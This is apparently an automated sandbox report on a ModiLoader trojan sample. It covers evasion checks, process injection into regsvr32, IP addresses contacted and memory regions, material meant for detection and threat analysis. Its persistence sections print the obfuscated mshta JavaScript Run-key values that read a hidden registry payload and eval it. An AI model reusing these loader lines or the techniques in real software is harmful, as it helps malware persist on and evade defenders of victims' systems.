Malware Analysis Report

2024-10-23 19:35

Sample ID 240504-vavw7see88
Target 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118
SHA256 cc232b7d5ea2d598601667fa91ac6d37097a33da86d1cb5ed97bb0bfc0e0ba39
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cc232b7d5ea2d598601667fa91ac6d37097a33da86d1cb5ed97bb0bfc0e0ba39

Threat Level: Known bad

The file 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

Looks for VMWare Tools registry key

Adds policy Run key to start application

Checks BIOS information in registry

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 16:47

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 16:47

Reported

2024-05-04 16:50

Platform

win7-20240221-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:bvNU4jLUh=\"P\";v3K=new%20ActiveXObject(\"WScript.Shell\");OQ5ejhvF7=\"YjPX3cvaIp\";qfn4h=v3K.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\369ddf2b1c\\\\7856548a\");NWrWH41gp=\"hjttvYBb\";eval(qfn4h);ot0RtZG=\"769g45386\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:n6IrpTY2vS=\"Pq\";KB49=new%20ActiveXObject(\"WScript.Shell\");u1Naevb=\"mqnKXsvo07\";OnlG13=KB49.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\369ddf2b1c\\\\7856548a\");O2dpNmJ3Tw=\"DtX38uCKFg\";eval(OnlG13);wWH7bE4Vo=\"iCVVY\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:LkEYD2E4vk=\"NSBDMx\";tb13=new%20ActiveXObject(\"WScript.Shell\");Xxyg9YS=\"dTzrfLejv8\";a5D0Jo=tb13.RegRead(\"HKCU\\\\software\\\\369ddf2b1c\\\\7856548a\");gHgPt4mfj=\"Z\";eval(a5D0Jo);Q5ToECy=\"w5tzjmC\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2820 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1160 wrote to memory of 2636 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 2488 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2636 wrote to memory of 1608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
GB 212.140.181.81:80 tcp
US 69.118.193.128:8080 tcp
FR 86.214.18.31:80 tcp
DE 31.232.7.115:80 tcp
CN 219.245.72.71:443 tcp
JP 210.196.242.64:80 tcp
US 166.161.221.101:80 tcp
JP 35.72.43.56:80 tcp
JP 158.203.26.245:80 tcp
ES 80.31.157.147:80 tcp
KR 49.164.190.29:80 tcp
US 55.96.209.130:80 tcp
CN 111.186.52.20:80 tcp
AT 89.104.20.241:80 tcp
CA 142.170.21.92:80 tcp
CN 42.207.197.207:80 tcp
N/A 10.180.213.189:80 tcp
CN 36.138.155.248:80 tcp
CN 117.85.122.71:80 tcp
UA 5.248.156.17:443 tcp
BR 179.208.53.72:80 tcp
US 18.190.104.209:80 tcp
LT 88.223.146.213:443 tcp
CN 117.121.46.239:8080 tcp
US 15.3.155.168:8080 tcp
NL 81.206.225.238:80 tcp
CA 54.39.238.153:80 tcp
DE 79.211.141.21:80 tcp
US 72.162.172.57:80 tcp
US 168.75.172.27:80 tcp
US 9.103.157.242:80 tcp
US 22.21.121.62:80 tcp
IT 88.55.215.212:80 tcp
GB 159.170.147.27:8080 tcp
CN 118.199.199.100:80 tcp
US 161.199.224.193:80 tcp
CN 61.160.2.51:80 tcp
CN 183.156.3.3:80 tcp
US 69.215.9.241:80 tcp
US 151.109.37.164:443 tcp
US 149.150.19.200:80 tcp
CH 146.4.150.35:80 tcp
KR 223.174.67.185:8080 tcp
IE 54.246.247.155:8080 tcp
JP 114.146.30.162:80 tcp
IN 31.133.25.36:80 tcp
JP 153.231.34.115:80 tcp
US 70.255.202.238:8080 tcp
US 22.98.172.206:80 tcp
BR 135.250.22.202:443 tcp
GB 89.243.184.243:80 tcp
VN 150.95.123.120:80 tcp
US 15.103.165.250:80 tcp
ES 213.99.76.7:80 tcp
TW 51.53.26.102:8080 tcp
US 55.87.165.94:80 tcp
RU 92.127.85.146:80 tcp
US 146.9.207.110:80 tcp
DE 116.202.190.224:443 tcp
US 70.34.82.147:80 tcp
MD 93.116.74.223:80 tcp
US 150.123.216.85:80 tcp
US 108.66.70.150:80 tcp
US 104.234.50.222:80 tcp
US 55.172.193.218:80 tcp
US 144.93.90.96:80 tcp
US 44.242.150.207:80 tcp
US 66.192.150.171:80 tcp
IT 5.86.146.39:80 tcp
US 167.186.251.112:80 tcp
ID 66.96.234.91:80 tcp
GB 194.93.128.160:80 tcp
BR 200.171.253.26:80 tcp
DK 159.195.202.133:80 tcp
US 18.90.211.78:80 tcp
ZA 16.155.10.203:80 tcp
N/A 100.93.55.2:80 tcp
AU 144.130.70.144:80 tcp
CN 125.111.189.110:80 tcp
KR 223.53.223.5:80 tcp
JP 160.241.138.166:80 tcp
NL 104.111.247.174:80 tcp
US 16.151.214.113:80 tcp
FR 147.215.186.194:80 tcp
CA 135.106.38.249:80 tcp
PE 190.239.144.45:80 tcp
US 20.139.178.64:8080 tcp
US 19.107.147.62:80 tcp
CI 160.120.110.172:80 tcp
US 100.190.122.184:80 tcp
US 21.101.238.213:80 tcp
IL 141.226.243.250:80 tcp
NL 145.99.190.210:80 tcp
GB 163.169.19.46:80 tcp
CN 116.249.72.149:80 tcp
US 104.177.191.50:80 tcp
US 21.12.127.87:8080 tcp
KR 49.168.47.97:80 tcp
US 50.78.122.113:80 tcp
GB 25.61.9.191:80 tcp
KR 59.9.23.81:80 tcp
CL 190.44.217.38:8080 tcp
CN 120.245.199.40:80 tcp
CN 222.52.180.93:80 tcp
DE 89.55.66.124:80 tcp
CO 181.241.15.242:80 tcp
CN 210.28.118.190:80 tcp
TR 81.213.33.177:80 tcp
AU 115.64.151.193:80 tcp
CH 52.103.55.172:80 tcp
PL 37.47.242.152:80 tcp
US 28.176.18.231:80 tcp
SA 100.132.104.8:80 tcp
US 32.233.107.193:80 tcp
CN 117.125.158.11:80 tcp
US 158.239.130.185:80 tcp
RU 37.131.209.178:80 tcp
JP 211.11.255.213:80 tcp
US 208.44.158.129:80 tcp
ES 89.129.117.224:80 tcp
ES 88.87.146.190:80 tcp
CN 115.102.156.198:8080 tcp
US 73.27.237.252:80 tcp
JP 133.166.171.56:80 tcp
HK 223.119.169.196:80 tcp
PK 39.44.46.89:80 tcp
MO 122.100.250.145:80 tcp
US 73.75.237.124:80 tcp
US 96.253.167.107:80 tcp
US 137.124.17.187:80 tcp
US 204.130.202.112:80 tcp
US 204.12.126.225:80 tcp
BR 161.24.190.234:80 tcp
US 172.203.15.32:80 tcp
DE 129.217.2.179:80 tcp
US 26.119.24.114:80 tcp
PE 186.163.154.181:80 tcp
US 99.94.212.14:80 tcp
CN 202.120.68.184:443 tcp
DE 92.71.154.145:80 tcp
US 12.70.209.99:80 tcp
IN 154.84.252.77:80 tcp
US 35.90.135.13:80 tcp
KR 49.168.27.255:80 tcp
BR 187.17.94.87:80 tcp
US 137.86.214.146:80 tcp
BR 45.188.207.148:80 tcp
CA 70.81.195.19:80 tcp
US 165.173.125.47:80 tcp
ZA 4.168.142.202:80 tcp
US 29.65.246.20:80 tcp
VE 200.44.165.210:80 tcp
CN 121.32.244.57:80 tcp
CN 114.217.42.94:8080 tcp
US 140.4.28.220:80 tcp
GB 2.101.148.154:80 tcp
IT 195.250.251.251:80 tcp
CN 120.80.2.84:80 tcp
US 214.191.20.85:80 tcp
ID 113.59.234.191:80 tcp
US 22.161.124.88:80 tcp
NO 193.161.99.179:443 tcp
EC 157.100.100.247:80 tcp
CO 181.148.107.81:80 tcp
BR 200.193.220.125:80 tcp
US 4.74.134.152:443 tcp
JP 133.46.107.192:80 tcp
IR 151.246.211.26:80 tcp
EG 105.82.189.119:80 tcp
US 71.19.183.164:8080 tcp
BR 177.153.7.225:80 tcp
CN 182.84.155.75:80 tcp
BR 189.59.76.81:80 tcp
KR 118.61.248.142:8080 tcp
US 198.74.107.40:80 tcp
US 138.180.226.101:443 tcp
CA 142.157.58.36:80 tcp
US 48.154.244.210:80 tcp
NL 84.86.24.102:80 tcp
US 66.152.18.255:80 tcp
AR 200.123.157.230:80 tcp
US 166.112.156.42:80 tcp
GB 212.148.89.49:80 tcp
US 70.156.3.246:80 tcp
TR 176.239.253.26:443 tcp
US 98.209.229.189:80 tcp
CI 195.166.229.114:80 tcp
KR 112.178.166.94:8080 tcp
US 142.197.114.66:80 tcp
US 38.251.105.155:80 tcp
MR 41.138.151.146:80 tcp
US 6.213.16.125:443 tcp
US 108.59.146.84:80 tcp
N/A 5.64.241.23:80 tcp
N/A 175.92.156.103:80 tcp

Files

memory/2820-0-0x0000000002760000-0x00000000027A4000-memory.dmp

memory/2820-1-0x0000000000290000-0x0000000000291000-memory.dmp

memory/2820-2-0x0000000000290000-0x0000000000291000-memory.dmp

memory/2820-3-0x0000000000400000-0x0000000000464000-memory.dmp

memory/2820-5-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2820-9-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2820-8-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2820-7-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2820-6-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2820-11-0x0000000000050000-0x000000000011C000-memory.dmp

memory/1160-15-0x0000000000DE0000-0x0000000000DE7000-memory.dmp

memory/2820-17-0x0000000000400000-0x0000000000464000-memory.dmp

memory/1160-19-0x0000000000DE0000-0x0000000000DE7000-memory.dmp

memory/1160-20-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/1160-24-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/1160-23-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/1160-22-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/1160-21-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/1160-25-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2636-30-0x0000000000DE0000-0x0000000000DE7000-memory.dmp

memory/2636-33-0x0000000000DE0000-0x0000000000DE7000-memory.dmp

memory/2636-37-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-36-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-35-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-40-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-39-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-41-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-48-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-47-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-46-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-45-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-44-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-43-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-42-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-49-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2488-53-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2488-55-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2488-58-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2488-56-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2488-54-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2488-57-0x00000000001E0000-0x00000000002AC000-memory.dmp

memory/2636-59-0x0000000000160000-0x000000000022C000-memory.dmp

memory/2636-60-0x0000000000160000-0x000000000022C000-memory.dmp

memory/1608-64-0x0000000000090000-0x000000000015C000-memory.dmp

memory/1608-68-0x0000000000090000-0x000000000015C000-memory.dmp

memory/1608-67-0x0000000000090000-0x000000000015C000-memory.dmp

memory/1608-66-0x0000000000090000-0x000000000015C000-memory.dmp

memory/1608-65-0x0000000000090000-0x000000000015C000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 16:47

Reported

2024-05-04 16:50

Platform

win10v2004-20240419-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:tVP1jMmp=\"oY2ywkwKF0\";O5j5=new%20ActiveXObject(\"WScript.Shell\");s6RGMg6lo=\"LTX\";wmER7=O5j5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");KrJij5YXy=\"Ryw1U\";eval(wmER7);jZ73ptof=\"CapQ\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
